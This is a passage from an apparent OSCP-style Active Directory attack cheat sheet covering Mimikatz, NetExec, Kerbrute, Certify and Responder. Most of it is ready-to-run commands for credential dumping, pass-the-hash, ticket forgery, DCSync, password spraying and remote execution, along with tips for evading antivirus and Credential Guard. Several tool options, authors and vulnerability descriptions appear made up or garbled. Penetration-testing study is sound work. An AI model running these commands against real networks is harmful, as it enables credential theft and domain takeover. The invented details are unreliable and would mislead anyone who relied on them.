sekurlsa::logonpasswords /procdump # Use ProcDump method
sekurlsa::logonpasswords /kullki # Use KULLKI method
Understanding sekurlsa::logonpasswords output:
Authentication Id : 0 ; 102593849 (00000000:062464D9)
Session : RemoteInteractive from 2
User Name : Administrator
Domain : CORP
SID : S-1-5-21-xxx-xxx-xxx-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : CORP
* LM : aad3b435b51404eeaad3b435b51404ee
* NTLM : dfd345d69a3f4dcc168c881b4d8e8a89 <-- USE THIS
* SHA1 : 8846f7eaee8fb117ad0c18d93c0bf7...
tspkg :
* Username : Administrator
* Domain : CORP
* Password : SuperSecret123! <-- PLAINTEXT!
wdigest :
* Username : Administrator
* Domain : CORP
* Password : SuperSecret123! <-- PLAINTEXT!
kerberos :
* Username : Administrator
* Domain : CORP
* Password : SuperSecret123! <-- PLAINTEXT!
SSP :
* Username : Administrator
* Domain : CORP
* Password : SuperSecret123!
Key sections in output:
msv= NTLM and LM hashes (use NTLM, LM is usually disabled =aad3b435b51404eeaad3b435b51404ee)tspkg= Terminal Services credentials (plaintext if available)wdigest= Plaintext password (if WDigest is enabled)kerberos= Kerberos credentials (plaintext if available)SSP= Supportable Password Module credentials
3.3.3 Pass the Hash
# === Pass the Hash (sekurlsa::pth) ===
# Basic PtH — spawn new command prompt
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:cmd.exe
# PtH with specific command
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:powershell
# PtH and access a share
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:"cmd /c dir \\\\fileserver.corp.local\\C$"
# PtH with both LM and NTLM hashes
sekurlsa::pth /user:admin /domain:corp.local /lm:LM_HASH /ntlm:NTLM_HASH /run:cmd.exe
3.3.4 Kerberos Operations
# === kerberos:: module ===
# List all Kerberos tickets in current session
kerberos::list
# List tickets with extended details
kerberos::list /export
# Inject a .kirbi ticket into current session
kerberos::ptt ticket.kirbi
# === Gold Ticket (forged TGT) ===
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx-xxx-xxx /rc4:KRBTGT_HASH /ptt
# Gold ticket with specific user ID
kerberos::golden /user:attacker /id:500 /domain:corp.local /sid:S-1-5-21-xxx-xxx-xxx /rc4:KRBTGT_HASH /ptt
# Gold ticket with admin groups
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-xxx-xxx-xxx /rc4:KRBTGT_HASH /sids:S-1-5-21-xxx-xxx-xxx-519 /ptt
# Gold ticket with custom lifetime
kerberos::golden /user:admin /domain:corp.local /sid:SID /rc4:HASH /startoffset:0 /endin:600 /renewmax:10080 /ptt
# === Silver Ticket (forged TGS) ===
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-xxx-xxx-xxx /rc4:SERVICE_HASH /target:fileserver.corp.local /service:cifs /ptt
# Silver ticket for MSSQL
kerberos::golden /user:attacker /domain:corp.local /sid:SID /rc4:HASH /target:sql.corp.local /service:MSSQLSvc /ptt
# === S4U (Service for User) ===
# S4U2Self — get a ticket for the service impersonating a user
kerberos::s4u /user:victim@corp.local /service:cifs/fileserver.corp.local
# S4U2Proxy — get a ticket to target service on behalf of victim
kerberos::s4u /user:victim@corp.local /service:cifs/fileserver.corp.local /impersonate
# === Kerberos ticket export ===
kerberos::dump # Export current session tickets
kerberos::dump /ticket:0-0-40e13c # Export specific ticket
3.3.5 DCSync
# === lsadump::dcsync — DCSync attack ===
# Dump all accounts
lsadump::dcsync /domain:corp.local /user:corp\krbtgt
# Dump specific user
lsadump::dcsync /domain:corp.local /user:corp\Administrator
# Dump krbtgt (for Gold Ticket)
lsadump::dcsync /domain:corp.local /user:corp\krbtgt
# Dump with specific DC
lsadump::dcsync /domain:corp.local /user:corp\krbtgt /dc:dc01.corp.local
# Dump all users
lsadump::dcsync /domain:corp.local /user:corp\*
3.3.6 SAM Database Dump
# === lsadump::sam — Local SAM dump ===
# Dump SAM database (requires SYSTEM)
lsadump::sam
# Dump SAM with specific registry hive paths
lsadump::sam /system:C:\Windows\System32\config\SYSTEM /security:C:\Windows\System32\config\SECURITY /sam:C:\Windows\System32\config\SAM
3.3.7 DPAPI Secrets
# === dpapi:: module — Data Protection API ===
# Chrome browser credentials
dpapi::chrome
# Windows credential manager
dpapi::cred
# Master key decryption
dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\SID\KEY /rpc
# Master key with password
dpapi::masterkey /in:KEY_FILE /password:UserPassword
# Edge browser credentials
dpapi::edge
# Decrypt a DPAPI blob
dpapi::blob /in:blob_file /masterkey:masterkey_file
3.3.8 Token Manipulation
# === token:: module ===
# List all available tokens
token::list
# Elevate to SYSTEM
token::elevate
# Impersonate specific user by PID
token::impersonate /pid:1234
# Revert to original token
token::revert
# Make a primary token
token::primary /pid:1234
3.3.9 Kerberos Module — Full Parameter Reference
| Parameter | Description | Example |
|---|---|---|
/user |
Username | /user:Administrator |
/domain |
Domain name | /domain:corp.local |
/sid |
Domain SID | /sid:S-1-5-21-... |
/rc4 |
NTLM hash | /rc4:HASH |
/aes128 |
AES-128 key | /aes128:KEY |
/aes256 |
AES-256 key | /aes256:KEY |
/target |
Target hostname | /target:server.corp.local |
/service |
Service name | /service:cifs |
/id |
User RID | /id:500 |
/sids |
Additional SIDs | /sids:S-1-5-21-...-519 |
/groups |
Group SIDs | /groups:512,513,518 |
/ptt |
Pass the Ticket | /ptt |
/ticket |
Ticket file | /ticket:ticket.kirbi |
/export |
Export tickets | /export |
/startoffset |
Start time offset (min) | /startoffset:0 |
/endin |
End time (min from now) | /endin:600 |
/renewmax |
Max renewal time (min) | /renewmax:10080 |
/krbtgt |
Use krbtgt context | /krbtgt |
3.4 Advanced Usage
Full Credential Harvest on a Compromised Machine
.\mimikatz.exe
# Step 1: Get privileges
privilege::debug
token::elevate
# Step 2: Dump everything
sekurlsa::logonpasswords
# Step 3: Export Kerberos tickets
sekurlsa::tickets /export
# Step 4: Check WDigest (plaintext passwords)
sekurlsa::wdigest
# Step 5: Check cached hashes
sekurlsa::mscache
# Step 6: Chrome credentials
dpapi::chrome
# Step 7: If DA, do DCSync
lsadump::dcsync /user:corp\krbtgt
One-Liner for Quick Credential Dump
# Single command — dump creds and exit
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# With output to file
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz_output.txt 2>&1
Bypassing Credential Guard
# If Credential Guard / LSA Protection is enabled, sekurlsa::logonpasswords will fail
# Try these alternatives:
# Method 1: Use the /inject flag
sekurlsa::logonpasswords /inject
# Method 2: Use kullki method
sekurlsa::logonpasswords /kullki
# Method 3: Extract from specific process
sekurlsa::logonpasswords /process:lsass.exe
# Method 4: If all else fails, use Rubeus instead (doesn't touch LSASS)
Rubeus.exe kerberoast /outfile:hashes.txt
3.5 Troubleshooting
| Error | Cause | Fix |
|---|---|---|
Privilege '20' not available |
Missing debug privilege | Run as SYSTEM or use token::elevate first |
No credentials retrieved |
Credential Guard / LSA Protection enabled | Try /inject, /kullki, or use Rubeus instead |
ERROR_MODULE_NOT_FOUND |
Wrong architecture | Use x64 mimikatz on x64 Windows |
Access is denied |
Not running as admin/SYSTEM | Use token::elevate or run as SYSTEM |
No tickets found |
No Kerberos tickets in session | Log in first or request a TGT |
DCSync failed |
Insufficient DS privileges | Need DA, Enterprise Admin, or DCSync rights |
mimikatz.exe blocked by AV |
Antivirus detection | Compile custom binary, use AMSI bypass, or use Invoke-Mimikatz |
WDigest shows no passwords |
WDigest disabled | Enable WDigest remotely: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 |
3.6 OSCP Exam Tips
What to bring:
- Pre-compiled
mimikatz.exe(x64) in your staging directory- Know the one-liner:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"- Have Invoke-Mimikatz PowerShell script ready as fallback
Exam environment notes:
- Mimikatz requires admin/SYSTEM privileges — escalate first
sekurlsa::logonpasswordsis your go-to command — it shows everything in one output- If Mimikatz is blocked by AV, try the PowerShell Invoke-Mimikatz variant
- On newer Windows (10/11, Server 2016+), Credential Guard may block LSASS reads — have Rubeus as backup
- The
sekurlsa::wdigestmodule is gold — it shows plaintext passwords when WDigest is enabled- For DCSync, you need Domain Admin or DCSync privileges —
lsadump::dcsync /user:domain\krbtgtPro tip: Always check
sekurlsa::wdigestaftersekurlsa::logonpasswords. WDigest stores plaintext passwords and is often enabled by default on Windows Server.Common OSCP pattern:
- Get admin shell on Windows machine
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"- Harvest NTLM hashes and plaintext passwords
- Use for Pass-the-Hash or lateral movement
- If DA:
lsadump::dcsync /user:domain\krbtgt→ Gold Ticket
4. CrackMapExec / NetExec
4.1 Overview
CrackMapExec (CME) and its successor NetExec (nxc) are network enumeration and exploitation frameworks that operate primarily over SMB, LDAP, WinRM, and WMI protocols. They are the Swiss Army knife for AD network enumeration — allowing you to scan entire subnets, test credentials at scale, and execute commands across multiple hosts simultaneously.
CrackMapExec vs. NetExec
| Feature | CrackMapExec | NetExec |
|---|---|---|
| Status | Original, still maintained | Active fork/successor |
| Command | crackmapexec or cme |
netexec or nxc |
| Protocol support | SMB, LDAP, WinRM, WMI, MSSQL, SSH, RDP | Same + more protocols |
| Active development | Slower | Faster, more features |
| OSCP relevance | Both work | NetExec preferred (newer) |
Note: For OSCP purposes, both tools work identically for most operations. This guide uses netexec/nxc as the primary command but notes CME equivalents.
4.2 Installation / Setup
NetExec (Recommended)
# Install via pip
pip3 install netexec
# Or from source
git clone https://github.com/Pennyw0rth/NetExec --depth 1
cd NetExec
pip3 install .
# Verify
nxc --help
CrackMapExec
# Install via pip
pip3 install crackmapexec
# Or from source
git clone https://github.com/byt3bl33d3r/CrackMapExec --depth 1
cd CrackMapExec
pip3 install .
# Verify
cme --help
4.3 Command Reference
4.3.1 SMB Enumeration
# === Basic SMB connection test ===
nxc smb 10.10.10.0/24 -u jdoe -p Password123
# Single host
nxc smb 10.10.10.50 -u jdoe -p Password123
# Multiple targets from file
nxc smb targets.txt -u jdoe -p Password123
# === Pass the Hash ===
nxc smb 10.10.10.0/24 -u '' -H NTLM_HASH
# With username
nxc smb 10.10.10.0/24 -u admin -H NTLM_HASH
# === Null session (no credentials) ===
nxc smb 10.10.10.0/24
# === Credential brute force ===
nxc smb 10.10.10.50 -u users.txt -p passwords.txt
# Single password against multiple users
nxc smb 10.10.10.50 -u users.txt -p P@ssw0rd
# === Continue on success (find all valid creds) ===
nxc smb 10.10.10.50 -u users.txt -p passwords.txt --continue-on-success
4.3.2 User and Group Enumeration
# === User enumeration ===
nxc smb 10.10.10.50 -u jdoe -p Password123 --users
# Group enumeration
nxc smb 10.10.10.50 -u jdoe -p Password123 --groups
# Domain admin enumeration
nxc smb 10.10.10.50 -u jdoe -p Password123 --admin-users
# Local group members
nxc smb 10.10.10.50 -u jdoe -p Password123 --local-groups
# Session enumeration (who is logged in)
nxc smb 10.10.10.50 -u jdoe -p Password123 --sessions
# Disk/share enumeration
nxc smb 10.10.10.50 -u jdoe -p Password123 --disks
# Logged-in users
nxc smb 10.10.10.50 -u jdoe -p Password123 --loggedon-users
4.3.3 Share Enumeration and Access
# === List shares ===
nxc smb 10.10.10.50 -u jdoe -p Password123 --shares
# List shares with permissions
nxc smb 10.10.10.50 -u jdoe -p Password123 --shares -d
# Access a specific share
nxc smb 10.10.10.50 -u jdoe -p Password123 --share C$
# Download a file from a share
nxc smb 10.10.10.50 -u jdoe -p Password123 -M snaffler
# Upload a file to a share
nxc smb 10.10.10.50 -u jdoe -p Password123 --put /local/file.txt \\share\\file.txt
# Download all files from a share
nxc smb 10.10.10.50 -u jdoe -p Password123 --get-file \\share\\path\\file.txt /local/path/
4.3.4 Command Execution
# === Remote command execution ===
# Execute via SMB (default)
nxc smb 10.10.10.50 -u jdoe -p Password123 -x "whoami"
# Execute on multiple hosts
nxc smb 10.10.10.0/24 -u jdoe -p Password123 -x "whoami"
# Execute with Pass-the-Hash
nxc smb 10.10.10.50 -u '' -H NTLM_HASH -x "systeminfo"
# Execute PowerShell command
nxc smb 10.10.10.50 -u jdoe -p Password123 -x "powershell -enc ENCODED_COMMAND"
# Execute and filter for specific output
nxc smb 10.10.10.50 -u jdoe -p Password123 -x "net user Administrator /domain"
4.3.5 Kerberoasting and AS-REP Roasting
# === Kerberoasting ===
nxc smb 10.10.10.50 -u jdoe -p Password123 --kerberoasting
# Output to directory
nxc smb 10.10.10.50 -u jdoe -p Password123 --kerberoasting kerberoast_output/
# === AS-REP Roasting ===
nxc smb 10.10.10.50 -u jdoe -p Password123 --asreproast
# Output to file
nxc smb 10.10.10.50 -u jdoe -p Password123 --asreproast asreproast_output.txt
4.3.6 DCSync
# === DCSync via CME/nxc ===
# Dump all hashes
nxc smb 10.10.10.100 -u DA_User -p Password123 --dcsync
# Dump specific user
nxc smb 10.10.10.100 -u DA_User -p Password123 --dcsync-user krbtgt
# Dump with hash
nxc smb 10.10.10.100 -u DA_User -H NTLM_HASH --dcsync
4.3.7 LDAP Enumeration
# === LDAP connection ===
nxc ldap 10.10.10.100 -u jdoe -p Password123
# LDAP with Pass-the-Hash
nxc ldap 10.10.10.100 -u '' -H NTLM_HASH
# Enumerate users via LDAP
nxc ldap 10.10.10.100 -u jdoe -p Password123 --users
# Enumerate groups
nxc ldap 10.10.10.100 -u jdoe -p Password123 --groups
# Get user details
nxc ldap 10.10.10.100 -u jdoe -p Password123 --get-sid
# Password policy
nxc ldap 10.10.10.100 -u jdoe -p Password123 --pass-pol
# GPO enumeration
nxc ldap 10.10.10.100 -u jdoe -p Password123 --gpo
# Find delegated permissions
nxc ldap 10.10.10.100 -u jdoe -p Password123 --delegated-auth
4.3.8 WinRM
# === WinRM connection ===
nxc winrm 10.10.10.50 -u jdoe -p Password123
# WinRM with hash
nxc winrm 10.10.10.50 -u jdoe -H NTLM_HASH
# Interactive shell via WinRM
nxc winrm 10.10.10.50 -u jdoe -p Password123 -x "whoami"
# Scan subnet for WinRM
nxc winrm 10.10.10.0/24 -u jdoe -p Password123
4.3.9 GPP and Password Hunting
# === Group Policy Preferences ===
nxc smb 10.10.10.0/24 -u jdoe -p Password123 --gpp-passwords
nxc smb 10.10.10.0/24 -u jdoe -p Password123 --gpp-autologin
# === Snaffler (file hunting) ===
nxc smb 10.10.10.0/24 -u jdoe -p Password123 -M snaffler
# === BloodHound enumeration ===
nxc smb 10.10.10.0/24 -u jdoe -p Password123 -M bloodhound
# === Local admin check ===
nxc smb 10.10.10.0/24 -u jdoe -p Password123 --local-auth
4.3.10 NTLM Relay Preparation
# === Generate relay target list ===
nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# This identifies hosts that:
# - Accept SMB connections
# - Do NOT require SMB signing
# - Are valid relay targets
4.3.11 Key Parameters Reference
| Parameter | Description | Example |
|---|---|---|
-u |
Username | -u jdoe |
-p |
Password | -p Password123 |
-H |
NTLM hash | -H NTLM_HASH |
-id |
NetExec module ID | -id 1 |
-M |
Module name | -M snaffler |
-o |
Module options | -o OPTION=value |
-x |
Remote command | -x "whoami" |
-cs |
Check local admin | -cs |
--users |
Enumerate users | --users |
--groups |
Enumerate groups | --groups |
--shares |
Enumerate shares | --shares |
--kerberoasting |
Kerberoast SPNs | --kerberoasting |
--asreproast |
AS-REP roast | --asreproast |
--dcsync |
DCSync attack | --dcsync |
--dcsync-user |
DCSync specific user | --dcsync-user krbtgt |
--local-auth |
Use local auth | --local-auth |
--continue-on-success |
Continue after success | --continue-on-success |
--gen-relay-list |
Generate relay targets | --gen-relay-list file.txt |
--pass-pol |
Password policy | --pass-pol |
--gpp-passwords |
GPP passwords | --gpp-passwords |
--delegated-auth |
Delegated auth check | --delegated-auth |
-d |
Domain name | -d corp.local |
-k |
Kerberos auth | -k |
--no-pass |
No password | --no-pass |
4.4 Advanced Usage
Full Network Reconnaissance Sweep
# Step 1: Find live hosts and SMB services
nxc smb 10.10.10.0/24
# Step 2: Test credentials across subnet
nxc smb 10.10.10.0/24 -u jdoe -p Password123
# Step 3: Check for local admin access
nxc smb 10.10.10.0/24 -u jdoe -p Password123 --local-auth
# Step 4: Enumerate shares on accessible hosts
nxc smb 10.10.10.0/24 -u jdoe -p Password123 --shares
# Step 5: Hunt for interesting files
nxc smb 10.10.10.0/24 -u jdoe -p Password123 -M snaffler
# Step 6: Kerberoast from accessible hosts
nxc smb 10.10.10.0/24 -u jdoe -p Password123 --kerberoasting output/
# Step 7: Check password policy
nxc ldap 10.10.10.100 -u jdoe -p Password123 --pass-pol
Credential Spraying
# Spray one password across all users
nxc smb 10.10.10.50 -u users.txt -p 'Summer2024!' --continue-on-success
# Spray with JTR format file (user:password pairs)
nxc smb 10.10.10.50 -u users.txt -p passwords.txt --continue-on-success
# LDAP credential spraying
nxc ldap 10.10.10.100 -u users.txt -p 'Company123!' --continue-on-success
4.5 Troubleshooting
| Error | Cause | Fix |
|---|---|---|
STATUS_BAD_NETWORK_NAME |
Wrong hostname/IP | Verify target address |
STATUS_ACCESS_DENIED |
Wrong credentials | Check username/password |
Connection timed out |
Firewall blocking port 445 | Verify network access, try different protocol |
The target resource is not found |
Share doesn’t exist | Verify share name |
No connection could be made |
SMB service down | Check if target is running SMB |
Module not found |
Module doesn’t exist | List modules with nxc smb target -M |
DCSync failed |
No DCSync rights | Need DA or DCSync privilege |
4.6 OSCP Exam Tips
What to bring:
- NetExec is pre-installed on Kali — verify with
nxc --help- Know the credential format:
-u user -p passand-u '' -H HASHExam environment notes:
- CME/nxc is your primary enumeration tool — use it immediately after finding credentials
- The
--sharesflag is invaluable for finding accessible file shares- Use
--local-authto check if credentials work as local admin on other machines--kerberoastingfrom CME is convenient when you already have SMB access- The
--gen-relay-listflag is essential for NTLM relay preparation--continue-on-successis critical for credential spraying — don’t stop at first matchPro tip: When you find credentials that work on one machine, immediately sweep the subnet:
nxc smb 10.10.10.0/24 -u found_user -p found_pass --local-authThis often reveals machines where the user is a local admin.
Common OSCP pattern:
- Find initial credentials
nxc smb 10.10.10.0/24 -u user -p pass— find all accessible hostsnxc smb TARGET -u user -p pass --shares— find accessible sharesnxc smb TARGET -u user -p pass --local-auth— check for local adminnxc smb TARGET -u user -p pass --kerberoasting— kerberoast from accessible host
5. Kerbrute
5.1 Overview
Kerbrute is a Go-based tool by @TheColonialCoder designed for Kerberos brute force attacks and AS-REP roasting. It is extremely fast because it leverages the Kerberos protocol directly, and it provides three distinct modes: user enumeration, password brute force, and password spraying.
Why Kerbrute?
| Feature | Kerbrute | Other Tools |
|---|---|---|
| Speed | ⚡ Very fast (Go, parallel) | Slower (Python-based) |
| User enumeration | ✅ Built-in | Need separate tools |
| Password spraying | ✅ Built-in | Need custom scripts |
| AS-REP roasting | ✅ Built-in | Rubeus, Impacket |
| Account lockout awareness | ✅ Configurable | Varies |
| Cross-platform | ✅ Pre-compiled binaries | Varies |
| No dependencies | ✅ Single binary | Python deps needed |
5.2 Installation / Setup
Option A: Pre-compiled Binary (Recommended)
# Download from GitHub releases
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64.zip
unzip kerbrute_linux_amd64.zip
chmod +x kerbrute
sudo mv kerbrute /usr/local/bin/
# On Windows
Invoke-WebRequest -Uri "https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_windows_amd64.zip" -OutFile "kerbrute.zip"
Expand-Archive kerbrute.zip
Option B: Compile from Source
# Requires Go 1.16+
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
go build -o kerbrute
Option C: Kali Pre-installed
# Kerbrute is pre-installed on Kali
which kerbrute
kerbrute --help
5.3 Command Reference
5.3.1 User Enumeration
# Enumerate valid users from a list
kerbrute userenum -d corp.local -users /path/to/usernames.txt -o valid_users.txt
# Enumerate with domain controller IP
kerbrute userenum -d corp.local -dc 10.10.10.100 -users usernames.txt -o valid_users.txt
# Enumerate with output to console
kerbrute userenum -d corp.local -users usernames.txt
# Enumerate with delay between requests (avoid lockout)
kerbrute userenum -d corp.local -users usernames.txt -delay 1000
# Enumerate with maximum threads
kerbrute userenum -d corp.local -users usernames.txt -t 50
# Enumerate from LDAP (no user list needed — extracts from AD)
kerbrute userenum -d corp.local -dc 10.10.10.100
Understanding userenum output:
2026-08-15 10:30:01,891 ; DEBUG ; Valid user found : jdoe@corp.local
2026-08-15 10:30:01,923 ; DEBUG ; Valid user found : admin@corp.local
2026-08-15 10:30:01,945 ; DEBUG ; Invalid user : nonexistent@corp.local
5.3.2 Password Brute Force
# Brute force single user
kerbrute bruteuser -d corp.local -users usernames.txt -passwords passwords.txt
# Brute force with domain controller IP
kerbrute bruteuser -d corp.local -dc 10.10.10.100 -users usernames.txt -passwords passwords.txt
# Brute force with output file
kerbrute bruteuser -d corp.local -users usernames.txt -passwords passwords.txt -o results.txt
# Brute force with continuation (resume from last position)
kerbrute bruteuser -d corp.local -users usernames.txt -passwords passwords.txt -continue
# Single user, single password
kerbrute bruteuser -d corp.local -user admin -password P@ssw0rd
5.3.3 Password Spraying
# Spray one password against all users
kerbrute passwordspray -d corp.local -users usernames.txt -password P@ssw0rd
# Spray with domain controller IP
kerbrute passwordspray -d corp.local -dc 10.10.10.100 -users usernames.txt -password P@ssw0rd
# Spray with output file
kerbrute passwordspray -d corp.local -users usernames.txt -password Summer2024! -o spray_results.txt
# Spray with delay (safer — avoid lockouts)
kerbrute passwordspray -d corp.local -users usernames.txt -password P@ssw0rd -delay 2000
# Spray with random delay (more stealthy)
kerbrute passwordspray -d corp.local -users usernames.txt -password P@ssw0rd -min-delay 1000 -max-delay 3000
5.3.4 AS-REP Roasting
# AS-REP roast from user list
kerbrute asreproast -d corp.local -users usernames.txt -o asreproast_output.txt
# With domain controller IP
kerbrute asreproast -d corp.local -dc 10.10.10.100 -users usernames.txt -o asreproast_output.txt
# Output format options
kerbrute asreproast -d corp.local -users usernames.txt -o asreproast_output.txt --hash-format hashcat
5.3.5 Key Parameters Reference
| Parameter | Description | Example |
|---|---|---|
-d |
Domain name | -d corp.local |
-dc |
Domain controller IP/FQDN | -dc 10.10.10.100 |
-users |
User list file | -users usernames.txt |
-passwords |
Password list file | -passwords passwords.txt |
-user |
Single username | -user admin |
-password |
Single password | -password P@ss123 |
-o |
Output file | -o results.txt |
-t |
Number of threads | -t 50 |
-delay |
Delay between requests (ms) | -delay 1000 |
-min-delay |
Minimum random delay (ms) | -min-delay 500 |
-max-delay |
Maximum random delay (ms) | -max-delay 2000 |
-continue |
Continue from last position | -continue |
-v |
Verbose output | -v |
-verbose |
Full verbose output | -verbose |
--hash-format |
Hash output format | --hash-format hashcat |
5.4 Advanced Usage
Complete User Discovery Workflow
# Step 1: Get user list from LDAP or other enumeration
# (Use Impacket, CME, or other methods to get candidate usernames)
# Step 2: Validate users via Kerberos
kerbrute userenum -d corp.local -dc 10.10.10.100 -users candidates.txt -o valid_users.txt -t 25
# Step 3: Check for AS-REP roastable accounts
kerbrute asreproast -d corp.local -dc 10.10.10.100 -users valid_users.txt -o asreproast.txt
# Step 4: If AS-REP hashes found, crack them
hashcat -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txt -O
# Step 5: With valid creds, proceed to password spraying if needed
kerbrute passwordspray -d corp.local -dc 10.10.10.100 -users valid_users.txt -password FoundPass123! -delay 2000
Safe Password Spraying (Avoid Lockouts)
# Conservative spraying with delays
kerbrute passwordspray -d corp.local -users valid_users.txt -password 'Company2024!' \
-delay 3000 -min-delay 2000 -max-delay 5000 -t 5 -o spray_results.txt
5.5 Troubleshooting
| Error | Cause | Fix |
|---|---|---|
Unable to resolve domain controller |
DNS failure | Use -dc parameter with DC IP |
Connection refused |
Port 88 blocked | Verify firewall allows Kerberos traffic |
KRB_AP_ERR_BAD_INTEGRITY |
Wrong password | Verify password list |
KRB_AP_ERR_MODIFIED |
Password expired | Try password reset or different password |
No users found |
Empty user list | Verify usernames.txt is not empty |
Account locked |
Too many attempts | Increase -delay, reduce -t |
5.6 OSCP Exam Tips
What to bring:
- Kerbrute is pre-installed on Kali — verify with
kerbrute --help- Have a standard username list ready (common AD usernames)
Exam environment notes:
- Kerbrute is the fastest user enumeration tool for AD environments
- Use
userenummode when you have a candidate username list but no passwords- Use
passwordspraywhen you have a likely password (e.g., from GPP, default creds)- Use
asreproastmode to find accounts with pre-auth disabled — no credentials needed- The
-delayparameter is critical — OSCP labs may have account lockout policies- Kerbrute is much faster than using Impacket for user enumeration
Pro tip: After finding valid users with Kerbrute, cross-reference with AS-REP roasting:
kerbrute userenum -d corp.local -users all_users.txt -o valid.txt kerbrute asreproast -d corp.local -users valid.txt -o asreproast.txtCommon OSCP pattern:
- Get candidate usernames (from LDAP, SMB, or enumeration)
kerbrute userenum -d corp.local -users candidates.txt -o valid.txtkerbrute asreproast -d corp.local -users valid.txt -o asreproast.txt- Crack AS-REP hashes → get first valid credentials
6. Certify
6.1 Overview
Certify is a C# tool by @ly4k specifically designed for enumerating and exploiting Active Directory Certificate Services (AD CS) misconfigurations. AD CS (formerly Enterprise Enrollment Services) is a common target in modern AD environments, and Certify automates the discovery of all ESC (Enterprise Security Checkup) vulnerabilities.
ESC Vulnerability Types
| ESC ID | Vulnerability | Severity | Description |
|---|---|---|---|
| ESC1 | Enrollment Agent + No Security Descriptor | Critical | Misconfigured template allows any user to enroll and authenticate as any user |
| ESC2 | Enterprise SubCA + No Security Descriptor | Critical | Misconfigured CA allows any user to request a CA certificate |
| ESC3 | Enrollment Agent + Vulnerable Group | High | Template allows enrollment for vulnerable groups |
| ESC4 | Enterprise SubCA + Vulnerable Group | High | CA template accessible to vulnerable groups |
| ESC5 | Misconfigured Certificate Template | High | Template allows enrollment with ENROLLEE_SUPPLIES_SUBJECT |
| ESC6 | Misconfigured CA Issuance Policy | High | CA policy allows vulnerable certificate issuance |
| ESC7 | Vulnerable CA on DNS | Medium | CA accessible via DNS with weak configuration |
| ESC8 | NTLM Relay to AD CS HTTP Endpoints | High | Relay NTLM to AD CS for certificate enrollment |
6.2 Installation / Setup
Option A: Pre-compiled Binary
# Download from GitHub releases
# https://github.com/ly4k/Certify/releases
# On Windows target
Invoke-WebRequest -Uri "https://github.com/ly4k/Certify/releases/latest/download/Certify.exe" -OutFile "Certify.exe"
Option B: Compile from Source
git clone https://github.com/ly4k/Certify.git
cd Certify
dotnet build -c Release
# Output: bin/Release/net452/Certify.exe
6.3 Command Reference
6.3.1 CA and Template Enumeration
# === Find all Certificate Authorities ===
Certify.exe find /cas
# === Find all vulnerable templates ===
Certify.exe find /vulnerable
# === Find all templates (detailed) ===
Certify.exe find /config
# === Find templates with specific ESC ===
Certify.exe find /vulnerable /esc1
Certify.exe find /vulnerable /esc5
# === Find with enrollment rights ===
Certify.exe find /enrollment
6.3.2 Certificate Request and Exploitation
# === Request a certificate ===
# ESC1/ESC5: Request certificate for arbitrary user
Certify.exe request /ca:DC01-CORP-CA /template:VulnerableTemplate /subject:CN=Administrator
# === Request and export certificate ===
Certify.exe request /ca:DC01-CORP-CA /template:VulnTemplate /subject:CN=Administrator /export
# === ESC8: NTLM Relay to AD CS ===
# First, set up ntlmrelayx targeting AD CS
# On Kali:
# python3 ntlmrelayx.py -t http://DC01-CORP-CA -smb2support --adcs-http-callback
# Then coerce authentication
Certify.exe coerce /ca:DC01-CORP-CA
# === Shadow Credentials ===
# Create shadow credential on a computer account
Certify.exe shadow /create /nuser:TARGETPC$ /domain:corp.local
# Authenticate with shadow credential
Certify.exe shadow /connect:targetpc.corp.local /nuser:TARGETPC$
6.3.3 Key Parameters Reference
| Parameter | Description | Example |
|---|---|---|
/ca |
Certificate Authority name | /ca:DC01-CORP-CA |
/template |
Certificate template name | /template:VulnTemplate |
/subject |
Certificate subject | /subject:CN=Administrator |
/vulnerable |
Find vulnerable templates | /vulnerable |
/cas |
Find CAs | /cas |
/config |
Show full config | /config |
/enrollment |
Check enrollment rights | /enrollment |
/export |
Export certificate | /export |
/esc1 |
Filter ESC1 | /esc1 |
/esc5 |
Filter ESC5 | /esc5 |
6.4 OSCP Exam Tips
Exam environment notes:
- Certify is essential for AD CS challenges — always run
Certify.exe find /vulnerablewhen AD CS is present- ESC1 and ESC5 are the most common in labs
- Port 80/443 on the DC may indicate AD CS HTTP endpoints (ESC8 target)
- Combine Certify with Rubeus for full certificate-based attack chains
Pro tip: When you find a vulnerable template, note the template name and CA name — you’ll need both for the exploit command.
7. Responder
7.1 Overview
Responder is a LLMNR, NBT-NS, and MDNS poisoner that responds to broadcast requests on the network with malicious responses. When a Windows machine broadcasts a LLMNR or NBT-NS query (e.g., when a user types \\nonexistent-server), Responder intercepts the query and responds, causing the victim to authenticate to the attacker’s machine — sending their NTLMv2 hash.
How Responder Works
Victim types: \\fileserver\share
│
▼
LLMNR/NBT-NS broadcast: "Where is fileserver?"
│
▼
Responder responds: "I am fileserver! Connect to me at 10.10.14.x"
│
▼
Victim sends NTLMv2 hash to Responder
│
▼
Attacker captures hash → crack or relay
7.2 Installation / Setup
# Pre-installed on Kali
which Responder
# Or install via pip
pip3 install Responder
# Update
pip3 install --upgrade Responder
7.3 Command Reference
# === Basic LLMNR/NBT-NS poisoning ===
python3 Responder.py -I eth0
# === Specify interface ===
python3 Responder.py -I eth0 -wR
# === Whisper mode + Responder ===
python3 Responder.py -I eth0 -wR
# === Only LLMNR ===
python3 Responder.py -I eth0 -wR -l
# === Only NBT-NS ===
python3 Responder.py -I eth0 -wR -n
# === With WPAD (Web Proxy) ===
python3 Responder.py -I eth0 -wR -f
# === Quiet mode ===
